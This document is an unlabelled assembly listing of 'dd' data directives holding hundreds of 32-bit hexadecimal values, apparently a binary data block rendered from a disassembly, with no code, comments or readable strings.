dd 21DF78B5h, 0BC3EA900h, 1B22BB4Bh, 991F00D8h, 0C65BCC7Dh
dd 0EC1F9D1Eh, 2BC077A0h, 0B3A18394h, 11970740h, 7014418Ah
dd 0DA4D4B8Ch, 56629B00h, 5BA21FA5h, 18C97412h, 70D7AAC5h
dd 7F0077F1h, 0DAC0C633h, 608324A7h, 34031DD2h, 72005423h
dd 37DE741Bh, 122EAB96h, 40D21D68h, 784CEE36h, 0CF00CD0Ah
dd 168845C3h, 0F7273FE6h, 0B4AACB55h, 0A70047B6h, 932884F4h
dd 5870AD3h, 33248504h, 0E2F80BF7h, 97EB6781h, 0FEAC4091h
dd 4A909E81h, 0CB5DD300h, 0D47F48D6h, 2E6C006Dh, 5818C1A0h
dd 0B5006ECFh, 9383F4CDh, 0DF2689CAh, 0B6E340BEh, 0ADEBEC57h
dd 45245E00h, 0BD2A96D4h, 0C6E20007h, 0F972890Fh, 0D0E48B8Ch
dd 3826B309h, 0EF7C90B1h, 743A01A3h, 636FA411h, 8EBCE925h
dd 105547DEh, 0B8577B2Dh, 0E52A4DE1h, 1A832DCh, 0A3FA37EAh
dd 81FE95C6h, 33B2F51Eh, 0BCF1AFA6h, 2A35D3D8h, 50822314h
dd 13A89F2h, 0A7878A4Ah, 9E8607A0h, 8EC23F1Dh, 0E072FB02h
dd 0B97431Ch, 8433C7D7h, 1B503F00h, 141C4B80h, 1A1FD9E7h
dd 0FFA9B598h, 0EEEF31AEh, 0CC212E50h, 9E03CBCFh, 40E968EBh
dd 0C6BD000Fh, 2D9DE069h, 460275DEh, 3244AD3Eh, 0EDC98409h
dd 0C0CC6D82h, 3DB9A81h, 0E7F99220h, 11E0B8E6h, 3713D3F4h
dd 7A078572h, 0BE10FABDh, 6DEE6Fh, 66C2A939h, 6BB4155Ch
dd 0D42DD128h, 0ECD88E00h, 4E8F599Eh, 9CED1385h, 0BC6000AEh
dd 0DFE5A43h, 0E4005E98h, 136A38A5h, 501DAh, 6619CD52h
dd 1D9C08C1h, 70390426h, 1F50F980h, 26F7D113h, 217936h
dd 8F6BB2F8h, 16028302h, 87C64689h, 6E876007h, 0A72CC255h
dd 8840FFC8h, 2800D845h, 0AE6F3720h, 32491FBh, 8623A225h
dd 2E248ED5h, 4D00880Ch, 0A365894h, 0D8C612BDh, 77772012h
dd 0FF1E6F5Eh, 0AE40EC01h, 9A64F5F2h, 0BCEA07F3h, 403DA4C7h
dd 63BA06F4h, 8A00BDF4h, 78830FCBh, 4E83F2Fh, 90FED33Ch
dd 8DCB935Bh, 0F79340BCh, 0C4745B2h, 77F841C0h, 0D100AE1Dh
dd 0C2046D08h, 0BFB64h, 0E7532365h, 9B2EB4F2h, 9321D80Bh
dd 5C17AA4Ah, 0C0806C2Ch, 7281B28Bh, 25EB48F2h, 38002258h
dd 25ACFFBDh, 974CF6B4h, 333B80ADh, 0EDFD43h, 0B2279363h
dd 5E9BEEF4h, 23A88400h, 3989508Fh, 17E90C0h, 8180FD2Ah
dd 0E45F1BDEh, 66C01379h, 766D3A8h, 6EF53AD6h, 3F444B4Ah
dd 0D86B4557h, 0E6108956h, 5584C681h, 0EE2920BDh, 3487015Dh
dd 3685C24h, 1407C27Bh, 83E31E9Ah, 181FB5EEh, 53002CDDh
dd 0FB3907BBh, 45BA0028h, 136A421h, 81035BDAh, 3F514FE2h
dd 0BEC2B07Dh, 6D63E11h, 0AB65EA00h, 8B545E0Eh, 0C48348C1h
dd 81716804h, 0F9F14215h, 16BF5F60h, 0E458F17h, 0A74757Fh
dd 5D22FF32h, 1AA5D1D5h, 79D53C8Bh, 0A0D04EE9h, 0C3F4E9h
dd 26F2FFFBh, 0BB8AB806h, 4EBAE65Ah, 6B00B77Dh, 2338C65Dh
dd 78B33F00h, 6715550Fh, 2B690034h, 935EA73h, 470303D3h
dd 22BD8A3Eh, 595FA0B9h, 4D330FF7h, 0BA803470h, 777A2F5Bh
dd 0C2A46707h, 6D2059C8h, 512C9h, 0DC540894h, 0A45D48F4h
dd 0BF9E900h, 1FAD8227h, 0EB670129h, 2D93872Eh, 8BAC2F11h
dd 48EF392h, 1FC19D8Bh, 7CC0FF12h, 2F6F781h, 0F49A998h
dd 0F377FAB7h, 27F7800h, 3EEB700h, 0C88842B9h, 0F5532789h
dd 2FBF3760h, 5D529918h, 0BE302D88h, 0BDFA868Eh, 952D95E6h
dd 5B3B40E9h, 0E59D1631h, 1A8DAE1Fh, 0FC4DA86Ah, 0F1AD00F4h
dd 3832ABA2h, 176253FBh, 312984h, 505B5790h, 0BEBF660Fh
dd 8B4C1D1Eh, 1BFAB7FEh, 0E7FA4E8h, 0BE9A2216h, 124E14E3h
dd 0ACF885EEh, 72A6D30Ah, 193EE9E0h, 5776F112h, 278843E0h
dd 0C0905B75h, 9E0709CBh, 612C8C9Ch, 75D1FF72h, 2858D573h
dd 2714B7FEh, 0ED255F69h, 0B3C5B8h, 26AFB9Eh, 515B6090h
dd 0B62EED20h, 0CC7C0072h, 0C59408B7h, 5A00D5FAh, 50611DB5h
dd 1A90DA8Bh, 33118C0Fh, 7F1E32D9h, 828E01C0h, 0B987C3Eh
dd 5F74E780h, 1FA08C46h, 0D1831391h, 2C6E0DFBh, 0BE41044Fh
dd 0CBB7202Bh, 0AE00E30Ch, 2E065E78h, 2D1CB016h, 36CE8DAFh
dd 0F8D41ABEh, 51A92536h, 0F6078644h, 88DF4CEEh, 96929421h
dd 0F21AA1F4h, 0E2620036h, 50902CA5h, 0C84A8B60h, 7861D382h
dd 5B6C90EBh, 0C0159B2Bh, 0DABFA2BDh, 33C40753h, 8051675Dh
dd 1B74C624h, 8940309Eh, 0D94FCBh, 0CAC265BBh, 9241F9Eh
dd 0A48A4105h, 2AB9E185h, 499D2382h, 285BC2ABh, 9F23662Dh
dd 5AE11A90h, 42B73600h, 66E4C4A6h, 0C720003Fh, 701B4057h
dd 1A98FD8Ah, 8589FF0Bh, 0F14B556Dh, 76BA54E4h, 4C2D59BCh
dd 0C8F14BF4h, 8C1CD351h, 0F900B0DDh, 0D1BF70E6h, 5A47ECDh
dd 0D38071E4h, 33E7AD60h, 0BA5339D5h, 20996C8Ah, 5B5A0D19h
dd 8D29EBC0h, 716BED95h, 0C4EF81E5h, 0C14F8B04h, 11130C8h
dd 0FF4659Dh, 3047D850h, 0DF5ABFCFh, 88B2EBC7h, 44735608h
dd 5B534502h, 205BE4ACh, 81D8EA8Bh, 2B276C71h, 215360C8h
dd 0F1E88B24h, 617CB39Dh, 7B85D148h, 55D9315Ah, 4F0985F4h
dd 3A81D914h, 27C8F0h, 0B192F1FDh, 0F6DE0A50h, 81E880B5h
dd 3426C8C7h, 1612671Bh, 0BCBA4A6h, 25B58988h, 9AFF15A1h
dd 7F157B8h, 44C4442Dh, 3C988921h, 0A5FAA38Bh, 33FE1583h
dd 220D6DE9h, 555941E9h, 84BCA985h, 0BF242785h, 70F7EEE3h
dd 0F93F79DEh, 9D8940C1h, 0FD2E3071h, 0B9B693F3h, 0B81B08E0h
dd 570117F4h, 952E3D0h, 0AD7C6595h, 8C6B909h, 0E386EDFDh
dd 0DFE8F65Bh, 0FD24D9ADh, 2039941Dh, 0F5F39A22h, 0A9A3646Bh
dd 143A8F1h, 0CDC2A6E8h, 3AFC350Bh, 9D923A37h, 0A4C22B11h
dd 782EF377h, 3702716Ah, 424733C6h, 81274060h, 0BA618017h
dd 0DCED3AE1h, 0A80047E8h, 6093AFC2h, 48BCA5F2h, 412A3EB1h
dd 2DAA9091h, 0AA679F85h, 0C0E44DA5h, 6C31E97Fh, 86C8FC4Ah
dd 67D70026h, 0B2C23DCBh, 0D017D137h, 36563BB7h, 0EC508EA2h
dd 9D0A4A51h, 2133C7h, 0A6190D2Ah, 1F4FE1h, 0E60716AFh
dd 0D837C39Eh, 0CF44416h, 0F65360B3h, 911C3207h, 0C69A91A6h
dd 3A2AC4F8h, 41CB1E5Ah, 4806BD3h, 5425BC19h, 0CAE351C0h
dd 0EB0AC21Ch, 1D67104h, 0BD2E5B51h, 29EE8F6h, 0CD4D867h
dd 4C46E03Ah, 0FFB70F16h, 0F53CE1A3h, 0E12B5EBDh, 4F8E78F0h
dd 0C4D0E212h, 132E6AF1h, 899DF200h, 752B62A9h, 0BA58BD7Bh
dd 643001B0h, 7EBE8750h
dd 0B6206EF8h, 7BB9A71Dh, 258281Eh, 0F4F350AAh, 0AB14B55Fh
dd 0CD87A5FDh, 4349C080h, 0F92D63DBh, 11C4457Bh, 0BB66001Dh
dd 9606575h, 0B53D708Dh, 57519F10h, 5B62B894h, 3180D45Fh
dd 6A171D16h, 2B6D8032h, 5C70C673h, 0B5293D4Eh, 9D4533ADh
dd 961FF5A5h, 70509782h, 9F79E0BBh, 981AB574h, 580E5B5Dh
dd 0C4498009h, 20C84A22h, 32C00B56h, 7B004E0Fh, 840D57CAh
dd 97312200h, 0BF5BDA8Bh, 0AB8A1240h, 0FB51C136h, 0E4632F50h
dd 4FFDECF9h, 0E2CEEB8h, 0A63E2AE3h, 752797CCh, 9B3B66A3h
dd 50E9ACC8h, 0C2AB121Fh, 20EF5AFFh, 0C1BD29BEh, 0DDB0549Ah
dd 0DC7E7EB5h, 613DF800h, 36EBAFEAh, 952909A6h, 97FA1881h
dd 9F1DED20h, 507A3C14h, 480095B9h, 9687386Eh, 17AA9F5Bh
dd 0DA500F50h, 929A2B1Ch, 582922FAh, 1F61BE60h, 1329BB80h
dd 0E3726507h, 9D010B91h, 4202597Dh, 768E8D0Fh, 0E9DBBFC1h
dd 536524FCh, 0EB958C4h, 0D4515F0Bh, 0C1AA6DADh, 0C8F9CFEDh
dd 0CB2480D5h, 8D0B7952h, 0A5D45330h, 0FBC16DEDh, 54880C93h
dd 0E4271775h, 4F7AAFF3h, 5C3757A0h, 0BF0AC54Ch, 0CF33E927h
dd 76E9E227h, 7697F444h, 79896787h, 7DC3B56h, 4B77FDA5h
dd 744E005Ch, 35B7018Fh, 801891BBh, 469EF312h, 0FC859FF5h
dd 97F6A815h, 7632F2h, 8C0252D9h, 0B0C6A2DAh, 0C01C505Ch
dd 6115A1A7h, 24BA0F52h, 0B0B32F7Ah, 0D44E9C1h, 0DA5A0F7Dh
dd 9E4042E0h, 3084ABFCh, 640DE82Dh, 99FE9D09h, 0B1F500DCh
dd 98E9C431h, 2B05ED68h, 0FDB3976Ch, 12242C80h, 0ADB27DD8h
dd 0B9B7602Fh, 0D7126A8Eh, 0A8678DFBh, 4CC2FAD5h, 0BF55D0FEh
dd 6200AE37h, 0E39E064Eh, 397902C0h, 0D8D297Fh, 0EE27575Eh
dd 6196AD7Eh, 7ECB6F12h, 5EE77609h, 38141028h, 0CC6ECF61h
dd 0C87E7513h, 0BA1EB4F8h, 994B5736h, 0BDD70234h, 9FF650C9h
dd 5E9D9796h, 7600D687h, 0E38AA6A0h, 9F96A58Ch, 284ECE94h
dd 1E4D8A21h, 3E38E901h, 0BE86FF9h, 998E135Ah, 0B5AB5E8h
dd 7422718Eh, 0EDDF8014h, 964B39Eh, 5FF55721h, 5ABC86D1h
dd 4309279Ch, 0BE6A972Ch, 0D9FA7105h, 0AC26A9B8h, 660D8C17h
dd 0ECC0CFBEh, 0B3009D32h, 6EBB509Dh, 3A5BA7D4h, 0F9BF4DD1h
dd 23ED6B3Bh, 0E34B001Ch, 0FA67209Fh, 0E45AFF12h, 42D415ACh
dd 0A70C992Eh, 7C970CEEh, 8D1F7E3Bh, 52478E6Bh, 0BD3A999Fh
dd 70FC77A6h, 0E1AA1C98h, 0BC2B52ABh, 0E2674AC6h, 6B94A640h
dd 0DEDC0017h, 0B995610h, 9CFA9301h, 0F08CA016h, 0A85928A7h
dd 941CCCACh, 6D055109h, 1DA8186Ch, 3E60E1D3h, 1D9AF874h
dd 5B91ABC0h, 2B045098h, 9531FBFAh, 0B1A52BBh, 50D9E3h
dd 0D663F497h, 0C251DB00h, 0D6B6EAFEh, 0DAB6CB86h, 0DC9D2150h
dd 7F00D6DBh, 4C77E87Ah, 278D8916h, 5AF0E4Dh, 3A53276Bh
dd 0B635F5A5h, 8AB2A902h, 6134D4DEh, 3E4D8531h, 0B6D7AFA8h
dd 7C65A0E4h, 2C761769h, 5B88E113h, 0C01A88B6h, 14F799AAh
dd 9006F814h, 992728Ah, 0CD3BBA9Fh, 93086081h, 0AD4CBF2Bh
dd 46D106Eh, 0E5609614h, 5250CF00h, 310F5956h, 8D807AB1h
dd 488C1809h, 0B6DE034Ah, 5061585Ah, 76BB6688h, 965B0E15h
dd 0FD7EFC7Dh, 244E06C8h, 67CFE322h, 590390A9h, 4C03B9E5h
dd 0AAB2A790h, 2C33C0FBh, 0D6B509BEh, 0C57D8B0Fh, 8891355h
dd 0A94E214Eh, 0B46DD2Dh, 0DAA09B80h, 0DC86DE0Bh, 441151FFh
dd 2D9A5033h, 0BFF2A0C9h, 9A5043A9h, 61549DB5h, 0AF4B5D6h
dd 0D618A303h, 9AF8DAA0h, 0DAB75DA4h, 2BCC5080h, 0FE68FAE6h
dd 41C82F30h, 84585D10h, 37918F17h, 22D6901Eh, 230415A7h
dd 0D206099Dh, 13E48C1Ah, 0E74A10B7h, 0BCFF0F0Ch, 2E404653h
dd 6499B9B8h, 0A5DE2B1Eh, 54B76268h, 6404DE6Dh, 0EAD0883Ah
dd 9878048Dh, 0B8BC36A0h, 0B0280702h, 0D440023Eh, 0B4F6A67h
dd 66516B57h, 0B5503B46h, 72DCAD7Ch, 23A7A73h, 0FD71108Fh
dd 63D4F12Bh, 61083A6Ah, 4FC61201h, 2D118349h, 0AF4345F5h
dd 0E6C0366Dh, 1CE9C891h, 6DFFF32Dh, 4100CBB7h, 0D014EFFEh
dd 2E6E0B86h, 8463F4EEh, 2060C191h, 9D881241h, 0BE610049h
dd 42503990h, 0DF00CB79h, 58265CF1h, 75D2101Ah, 0B589135Bh
dd 61E64969h, 9EBE8271h, 0CF445BDh, 4F0314E3h, 0A8019E74h
dd 5BDE7C12h, 377B35C9h, 9CBD8BE0h, 229B7C02h, 630C57EEh
dd 0CD2FFC94h, 0E0466DE6h, 49CFBD9Ch, 0F54E2325h, 1246AEh
dd 0B4A89905h, 1B06DE69h, 4F431D26h, 0A2109536h, 0E2022AF0h
dd 9B19F89Dh, 4966E9h, 78B14A3Dh, 52189F4Bh, 0A975B71h
dd 16DE13B9h, 53784338h, 0BB55D0D6h, 0D42A03B5h, 0B7B5B34Ch
dd 0C05F00C0h, 0E78AC2A5h, 0FF63B569h, 0E9E0216Dh, 3F86AE89h
dd 0EDA7832Ch, 0C0A40273h, 7116A509h, 495B6BEEh, 58B6750h
dd 0FF88ADFh, 0BD0E1D87h, 8012B2CEh, 6704EA34h, 0C73D026Eh
dd 0D1FFEF2Ah, 587DD37Dh, 0C612E3A4h, 0B242F957h, 7775BD29h
dd 71E009h, 0BF406144h, 0A7E5A0Ch, 0B7026A25h, 83630041h
dd 8A90714Dh, 550FC3Ah, 1451BD03h, 9A5E2FCEh, 0DD748098h
dd 0E654E783h, 96C13CCh, 0D6D0AE89h, 970E0BE9h, 6200296h
dd 0C5B30FCEh, 0C456B501h, 0ACF8AD2Ch, 0FB018C16h, 90F8AACDh
dd 0F2A51CB3h, 9B966Ch, 0E4D1D77Ah, 0A8DA9202h, 99A582FFh
dd 50BB5C2Ah, 1697820Fh, 0DC2294C1h, 88075800h, 5459E097h
dd 0E890970Dh, 0C00B38Fh, 454E134Bh, 0E6742BEAh, 9BFF4E6Ah
dd 8921821Eh, 82A67495h, 1911BD0Bh, 4988FE5Ch, 9B30932h
dd 0F511FA73h, 0ADBD330Ah, 0BBB09689h, 100116CCh, 76092D85h
dd 0F9498D2Ah, 1A70E624h, 110203Dh, 0C78171E4h, 0EEF4F058h
dd 0C393105Eh, 3AB19DBEh, 9175582h, 4AC40E70h, 600B1425h
dd 243DD102h, 0BA61FC01h, 0E2C11D52h, 0D51BC216h, 600FE8D1h
dd 0CEB88051h, 18F95A8Dh, 2AC82B61h, 8B27C90Bh, 0E3B009D1h
dd 0E9C31434h, 997B2B75h, 0E0F912E9h, 9D342BE0h, 5E21A5BDh
dd 13F18D09h, 2BBCC93Ah, 22BDEB28h, 43430109h, 0B803FF34h
dd 3989127Ah, 2F22F0E2h, 0A5F67590h, 3AFE16A1h, 0DDC3020h
dd 503738ABh, 689A5380h, 0B86936C4h, 0F57A2A09h, 65040852h
dd 30DF6630h, 0FE30973Bh, 428242E5h, 0C76B00C4h, 272F74AEh
dd 11557164h, 1C65F19h, 3E1D9D01h, 0C2A7C0B8h, 4B0F21CDh
dd 9C27F07Dh, 0C707DC5Dh, 0F2CA0ED7h, 105A1340h, 28F2B0Fh
dd 0FCE10C8Ch, 1B404974h, 1824F1F9h, 0C0CAAAE5h, 8A091D67h
dd 6F972258h, 58B640C2h, 0F8489CCAh, 520C1226h, 6350ACE2h
dd 2B2C417Dh, 0AC9F833Dh, 0E9E29225h, 2EABCF3h, 0F9EC0A6Eh
dd 5EE657FEh, 6F1F0F01h, 0D75696BEh, 26B5EC4h, 78AC9441h
dd 5653880Dh, 24CB7D8h, 0FE1CBBD6h, 5D6602D5h, 0A954C500h
dd 5908E257h, 667C132Ch, 0C886DAC7h, 0D2DBC515h, 8A74D94Ah
dd 23092610h, 2F29419Dh, 0FC92CC59h, 0E9F4BCE2h, 0C7A8F6h
dd 21C15EAh, 30F3D66h, 0B4BF6802h, 0D5420B90h, 7858A0D3h
dd 44EF83Ah, 454D8FF0h, 0D3A217h, 6682A628h, 87C1BDh, 0DDAB43D9h
dd 0A9E947A0h, 79325213h, 0DC806BBCh, 0A4BE8D56h, 0AA00B8FEh
dd 438E7049h, 57624F6h, 62DACCB1h, 0B5E0C1DEh, 0B8985459h
dd 2A5FA218h, 1B673D62h, 4FFF09B8h, 0F95942A6h, 5DF73A75h
dd 9101A435h, 358529D1h, 8FFBE64h, 6840FE1h, 0FD953182h
dd 711C5E16h, 5BC1143Dh, 13590D8Dh, 524504F2h, 0F6801AA8h
dd 0BC3BA195h
dd 0C5FECF25h, 0C7F61AD7h, 0A2277674h, 63DE8B7Ch, 2AEAD43Fh
dd 0D295C07Bh, 25801834h, 0F4CA27E3h, 0B8080C84h, 15FC4F4h
dd 0F095F6FBh, 1601B8E6h, 0D52D1902h, 1CD8F3A6h, 967BD2Bh
dd 0AFD95B8Fh, 3A1253B5h, 81816CACh, 0D13E20CBh, 0C41F2E7Eh
dd 104F46Eh, 0F99421BDh, 0F086E6EFh, 1A5EE41h, 0FBA3FA0h
dd 30F91446h, 5B4B7BDAh, 11C8B7E2h, 27975581h, 0D3C878E2h
dd 89C500FDh, 0FE304A12h, 0C7271C48h, 0E89BD750h, 4B2919B8h
dd 96912E97h, 0E72270B0h, 95608748h, 0C29E3464h, 3A4425h
dd 26C59896h, 0A4A3B117h, 0F669FC01h, 58616BF2h, 1FF1A036h
dd 0B9983AADh, 0B7521BDh, 0B847DDC9h, 0E9B850E0h, 0F7014AB6h
dd 0D763A09Dh, 957750BAh, 8DA44B36h, 1F430E6h, 9D3AF889h
dd 0BF21E098h, 0FFEC808Ch, 831A9745h, 89271570h, 0AAE1F006h
dd 3FB55F5Bh, 79801D91h, 6B8B1C2Ch, 0D0CB9C06h, 20624477h
dd 0C8B429B5h, 7061F209h, 0DCAEB64Fh, 410C137Bh, 0F53D63BFh
dd 1C905CCh, 0B40CEDB5h, 510052FDh, 0BA665F5Eh, 906198A8h
dd 18F424Eh, 363B53BBh, 0B228964Ah, 0DA4A9E4Dh, 0C414C866h
dd 4FA28BA9h, 0DD30BCCDh, 29B32450h, 0B9D1498Bh, 0E29EB700h
dd 48583849h, 5FA28CECh, 23B3A041h, 8411509Eh, 0C4C4EC7Fh
dd 8B102B15h, 3223D704h, 216AEE8Dh, 8E061623h, 9E5E9371h
dd 548A455h, 4EA2ABBh, 5D0A81A9h, 0E4A88C93h, 905EB6C0h
dd 5738D31h, 0C0851597h, 23DF6E39h, 0C9DBD14h, 7EEF0576h
dd 2CE661D1h, 4CF2D1E0h, 9E04837Ch, 0AE9DD091h, 6DA6B385h
dd 6381DD4Ah, 2DEA0034h, 3E187B25h, 66CA003Ah, 4EE076F5h
dd 8404A114h, 0E873B2C6h, 0E5A4D9ACh, 0B6DB2B83h, 635D8B9Ch
dd 468D6277h, 0DF5C0E9Ah, 0D4209218h, 0B8D7E19Eh, 7C12D5F0h
dd 0E9ED43E9h, 0D33A59ECh, 13EA4802h, 26222A69h, 75B05CDEh
dd 4DE81CAh, 0B3A5B141h, 0B85EADDCh, 0AEFB01C5h, 646E9C20h
dd 6B93B86h, 0ABA8F600h, 0ED302F40h, 0F7024D76h, 8588A506h
dd 689275CDh, 24D7A5C2h, 0DBC5BD3h, 538098A7h, 2F5682BFh
dd 7D459D62h, 6AD76F90h, 0DBE31737h, 7BBE81C4h, 7B8B0969h
dd 97BDD076h, 15D94C32h, 5FCCA400h, 2567713Ah, 96C4EC75h
dd 84113795h, 849A50A1h, 38E4B299h, 1A4187F9h, 5F64ED7Fh
dd 0DAD661BDh, 0B58E801Ch, 31E575A6h, 0F8E464CDh, 4E23296h
dd 5BFE8A53h, 11E3E6C5h, 2621602h, 0BF42FFCh, 5FFD3169h
dd 0E1695264h, 896A9C2Fh, 0C218D12h, 0A6D253F2h, 9286A056h
dd 0B4E248A0h, 8D297D02h, 15740BE1h, 0D4C45E5Ah, 442D0125h
dd 738177B6h, 0E5EE004Ah, 0FFDAD48h, 3D09B6C3h, 7B8E33DFh
dd 9F55AD4Ch, 0C41180DCh, 0ECA69A49h, 0F8F8D525h, 0ED3FF5C9h
dd 0E39EE800h, 2B0EE023h, 0FB4002EBh, 6C18E944h, 0E153Ah
dd 9B4E315Bh, 0B0ACF4A4h, 459D10CEh, 19E7E1Bh, 519A8F69h
dd 9711BF02h, 665E2740h, 292D182Dh, 14812085h, 374C0997h
dd 0E43782E1h, 0B64615EBh, 0A9C0B300h, 702AFCBh, 3EBF0ED2h
dd 0F6D28F64h, 3019B252h, 8A096316h, 79C5891Eh, 0DEFCAC53h
dd 0E503837Ch, 897AA451h, 4418FA85h, 0CB7B960Fh, 0FF7CE729h
dd 631D4D5Ah, 2CE0D062h, 0F90A5739h, 11890F5Bh, 27AFF927h
dd 0ACD8987Fh, 0D8250038h, 58119882h, 772D3E1Fh, 276FF3D2h
dd 1292C344h, 4712BB7Bh, 0FC1724D7h, 16923BC4h, 5B6660h
dd 0C5D38AF6h, 0D6BE9B0Fh, 0CA6A317h, 922FDEF3h, 0C28C1080h
dd 6125CC2Bh, 87F90896h, 355731C7h, 89217B49h, 1679FB8Bh
dd 7B0B3647h, 9FAAD032h, 0E41DA10Eh, 2A50059h, 0BB6696h
dd 0BF50F22Eh, 4C906E44h, 121739Ah, 1D8E6F11h, 56EAE732h
dd 2C6AF025h, 0AC611627h, 0F9AE12B7h, 52BB025Ch, 9249C506h
dd 0B471773Eh, 24998831h, 0CA422B09h, 0D79D0357h, 5B4B06F8h
dd 0BB71CE8Ah, 3C29F0F6h, 3E6D6A00h, 9D2356B5h, 9D3AE7A1h
dd 0F1FA2634h, 0F1F4D7F0h, 4C0A05CEh, 0E7C6FC8Ah, 0CD8BA003h
dd 2AB513BAh, 0B9751360h, 0BD09045Ch, 61091731h, 354B177Bh
dd 6BC284D0h, 0C04B0F5h, 0EDE9BA07h, 0B019FFF2h, 2D95890Bh
dd 1F7F1B31h, 0E2822CEFh, 90D54A3Dh, 9FA940h, 0DEE24596h
dd 0CEBB2C5Eh, 2736C3Ch, 0A7ABDDCCh, 9431575Fh, 0FA31088Bh
dd 2A2C41A1h, 0C8FC06D5h, 907CE26h, 4935951h, 906105CCh
dd 15B825EDh, 168CC83Dh, 9BEF6AB9h, 1819ECEh, 0A7F5F116h
dd 0BD914020h, 0ED270874h, 7EAAE0CCh, 14EB589h, 34F2D684h
dd 56912C00h, 0C2AAE3E8h, 1D542900h, 5805BC79h, 0E1112833h
dd 0DE461EABh, 0DE85ACE6h, 560D6900h, 0A585097Ch, 0E49508h
dd 0B5B1BF05h, 30AE0364h, 1A8E2936h, 9D9F7600h, 0A2015813h
dd 21EA001Bh, 0FFB531B0h, 5F5AF4B7h, 0BD028108h, 0B690FD13h
dd 0C82E0A3h, 74620388h, 0A82DFF03h, 0AB6E485Bh, 7B552800h
dd 0AAB7AEE8h, 65FE4E26h, 0DC22D10Bh, 0C5185A4Bh, 370FEAD9h
dd 766427F9h, 4B7C8AAAh, 206F598Dh, 0B24BADE7h, 0A8914607h
dd 52700DFCh, 273BF6Ch, 5B33B607h, 8CB7D1FFh, 6E71A380h
dd 163159E7h, 0F26C64FCh, 93770764h, 611EE008h, 0CF058D27h
dd 6C3F282Fh, 56FC88h, 9A0F0BBh, 26A5F13h, 5EDC15BCh, 702BDC31h
dd 0FBF6609h, 82837459h, 433723BBh, 0E595C860h, 50CB154Bh
dd 80069A4Ah, 38751BA3h, 0DD76BDF4h, 5E85E909h, 0DE50704Ch
dd 2D8D8980h, 3DF30F9Dh, 1F0ACD0h, 9072C27Dh, 7BFA8A6Dh
dd 19C89A9Ah, 15EFA5C0h, 0C0985F8Fh, 0D435C7E6h, 0D82F8F9Ah
dd 5007C650h, 13DFB051h, 6F905F0Bh, 0DA550241h, 0EAD58501h
dd 52A35C84h, 0FA60944Dh, 766D5379h, 25B2908Dh, 9FE519A5h
dd 0C0F54D27h, 0FB583DD9h, 299D3309h, 0ECCCFD0Eh, 9EB84BFh
dd 6FB76A0Fh, 0EB91018Fh, 2EA405A0h, 0A880D82Ch, 0D001F686h
dd 2800ED71h, 46A49D76h, 5C68DD23h, 0F11799E1h, 831F9E1Dh
dd 908DBC41h, 1774A859h, 42C9971h, 0AF10ADABh, 5E16C228h
dd 3AB6B601h, 7C5580ADh, 2E4DEEF9h, 4EA31C13h, 70E601B0h
dd 51DD8531h, 2071E4C6h, 7E9F1181h, 4BEC6648h, 65D9FEEDh
dd 783E3C89h, 0F8886BEh, 5FB06FB1h, 57BAB7A0h, 0C10221FDh
dd 685D3A03h, 0DBB05761h, 65137CF7h, 3FF5B70Fh, 41CB1680h
dd 599D89A9h, 5B8D135Dh, 0B52C02BFh, 0D60B1B91h, 0A484FB6h
dd 52338849h, 5B53BF80h, 3F81D18Bh, 0EE850ECFh, 4083E94Fh
dd 0AA55E342h, 6DB6858Bh, 0E0F1FC92h, 1DCF092Bh, 5215D479h
dd 80DD3C75h, 0D40E9933h, 0CC7E2Ah, 0F5A18719h, 5B6A6CD7h
dd 1DEBA497h, 27CDA45Dh, 9816A9DDh, 16250Ch, 569831BDh
dd 0F2F7B751h, 97B625Ch, 795B61DFh, 9D2982FDh, 0B157323Dh
dd 7A511AEEh, 613A2CA2h, 31DE8B00h, 8A7101AFh, 0E9602FDDh
dd 0BDE65262h, 30DCC17Ch, 462A3572h, 0EB7B740Ah, 4CF5E531h
dd 493E9D09h, 0FC79F978h, 4BB7E6A0h, 1109D1A7h, 6F8A5Ch
dd 25B1C1BFh, 3B9050F7h, 0E8E07D5Bh, 0DF5BF8B7h, 842194D0h
dd 0C086FC8Bh, 2FEF6DB5h, 9B8E02DBh, 3C9A3F80h, 0AF16B9BFh
dd 8DE84CE7h, 35101380h, 60389246h, 833492FBh, 0AB0900B8h
dd 80735F59h, 0E5611F8h, 0D22B5FFCh, 57D9D42h, 0C1F80E74h
dd 0D95C8211h, 0EF8A6041h, 0E642A420h, 61792527h, 439BB0EEh
dd 0D603358h, 0D5266352h, 2F1CC59Ch, 3CACAB75h, 33AABA80h
dd 8012846Bh, 0B7F20DDFh, 0C1CC9AF4h, 6B7C9FCFh, 0F2078CDh
dd 292C0446h
dd 0BC05D18Dh, 2727E25Dh, 2A81D223h, 342B6039h, 0D9EF00D6h
dd 0F88B45CCh, 4FCD614Bh, 0F58B802Eh, 2FFDE1FFh, 97762528h
dd 6B2512B9h, 282ECB8Dh, 828A782Bh, 5E46F4E3h, 4315023h
dd 0D26D9588h, 1582481Bh, 0F6A66017h, 31DD82E0h, 49F03802h
dd 61FCF93Eh, 63A0F17Fh, 0AFD25A8h, 154450EDh, 0F46B2061h
dd 6D120DEFh, 51F17BCEh, 8E6E3Eh, 7CD8FF88h, 143C3F12h
dd 9CFB8B20h, 0F49F6F12h, 0F9895C74h, 26E3362Bh, 0F798342Eh
dd 6BAED7B4h, 0F18232Dh, 0BD853FAAh, 0B744AEE7h, 81FB90FFh
dd 7A57561Eh, 7B3AA014h, 0C0B96DB5h, 21DDF07h, 6A13A1BCh
dd 68C046DBh, 54DD37AEh, 1400F9Dh, 4F12AEFh, 89C92Bh, 0D3F618E7h
dd 9B07B100h, 0F7367CFh, 51FB73D9h, 213A298Eh, 0D8751543h
dd 811D579Eh, 39401C71h, 2D8068E6h, 49FE0493h, 0EF5B5F8Ch
dd 29101F01h, 855B04EEh, 0F971D4C0h, 0D95F8B09h, 0B51141A6h
dd 0AB9D4A4Dh, 7DE6A6Ah, 6358150Eh, 4A4670DBh, 803DF201h
dd 9509FABFh, 7E699D51h, 0EE85C702h, 53E0B6B6h, 9D09B260h
dd 7AD77548h, 0B8EFBF71h, 0B56EAF40h, 458B0A06h, 99181C5h
dd 575E1551h, 0D4F3765Ah, 6B64D913h, 4F0029F2h, 0D2791BA7h
dd 0A0012550h, 0D0D6C8BFh, 342FE328h, 3E6BAEBFh, 0E2001D23h
dd 8E5A4984h, 2B31E85h, 115F2DE3h, 7DE15636h, 4FB166FCh
dd 3154BF8Bh, 0F06098Eh, 25647188h, 1A5954D3h, 0B3027918h
dd 5DF92DB6h, 3BE35EA5h, 6660095Eh, 0AE315325h, 0B3CDE4h
dd 15641369h, 0CE4A5836h, 0FA750D05h, 1CEBDCE5h, 72006FC8h
